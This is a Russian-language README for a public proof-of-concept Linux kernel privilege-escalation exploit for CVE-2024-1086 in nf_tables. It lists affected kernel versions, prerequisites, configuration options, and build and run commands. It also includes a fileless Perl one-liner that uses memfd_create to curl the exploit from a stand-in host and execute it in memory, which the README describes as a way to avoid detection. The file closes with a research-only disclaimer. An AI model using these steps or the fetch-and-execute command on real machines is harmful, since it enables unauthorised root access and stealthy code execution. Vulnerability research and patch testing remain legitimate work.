CVE-2024-1086

Универсальный эксплойт Proof-of-Concept для локального повышения привилегий для CVE-2024-1086, работающий на большинстве ядер Linux от v5.14 до v6.6, включая Debian, Ubuntu и KernelCTF. Уровень успеха составляет 99,4% в образах KernelCTF.

https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de

Статья / Описание

Полное описание эксплойта, включая справочную информацию и множество полезных схем, можно найти в статье на Flipping Pages.

Затронутые версии

Эксплойт затрагивает версии от (включительно) v5.14 до (включительно) v6.6, за исключением исправленных веток v5.15.149>, v6.1.76>, v6.6.15>. Патч для этих версий был выпущен в феврале 2024 года. Основная уязвимость затрагивает все версии (кроме исправленных стабильных веток) от v3.15 до v6.8-rc1.

Предостережения:

• Эксплойт не работает на ядрах v6.4> с kconfig CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (включая Ubuntu v6.5)
• Эксплойт требует пользовательских пространств имен (kconfig CONFIG_USER_NS=y), чтобы эти пространства имен были непривилегированными (команда sh sysctl kernel.unprivileged_userns_clone = 1), и чтобы nf_tables был включен (kconfig CONFIG_NF_TABLES=y). По умолчанию все это включено в Debian, Ubuntu и KernelCTF. Другие дистрибутивы не тестировались, но могут работать. Кроме того, эксплойт протестирован только на x64/amd64.
• Эксплойт может быть очень нестабильным в системах с высокой сетевой активностью
  • Системы с WiFi-адаптером, окруженные сетями WiFi с высокой нагрузкой, будут очень нестабильны.
  • На тестовых устройствах отключайте WiFi-адаптеры через BIOS.
• Паника ядра (сбой системы) после запуска эксплойта является побочным эффектом, который намеренно не был исправлен для предотвращения злонамеренного использования эксплойта (т.е. попытки эксплуатации теперь должны быть более заметными и непрактичными в реальных условиях). Несмотря на это, он все равно позволяет создать рабочий proof-of-concept в лабораторных условиях, так как root-оболочка функционирует, и сохраняется возможность персистентности через диск.

Использование

Конфигурация

Значения по умолчанию должны работать «из коробки» на Debian, Ubuntu и KernelCTF с локальной оболочкой. В непротестированных конфигурациях/дистрибутивах убедитесь, что значения kconfig соответствуют целевому ядру. Их можно указать в src/config.h. Если вы запускаете эксплойт на машине с более чем 32GiB физической памяти, увеличьте CONFIG_PHYS_MEM. Если вы запускаете эксплойт через SSH (на тестовой машине) или reverse shell, вы можете переключить CONFIG_REDIRECT_LOG в 1, чтобы избежать ненужной сетевой активности.

Сборка

Если это для вас непрактично, есть скомпилированный x64 бинарник с конфигурацией по умолчанию.

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

Бинарник: CVE-2024-1086/exploit

Запуск

Запуск эксплойта так же прост:

./exploit

Также поддерживается выполнение без файлов (fileless), на случай пентестов, где необходимо избежать обнаружения. Однако на целевой системе должен быть установлен Perl:

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Отказ от ответственности

Программы и скрипты («программы») в этом каталоге/папке/репозитории («репозиторий») опубликованы, разработаны и распространяются только в образовательных/исследовательских целях. Я («создатель») не одобряю любое злонамеренное или незаконное использование программ в этом репозитории, поскольку намерение состоит в обмене исследованиями, а не в совершении незаконных действий с ними. Я не несу юридической ответственности за все, что вы делаете с программами в этом репозитории.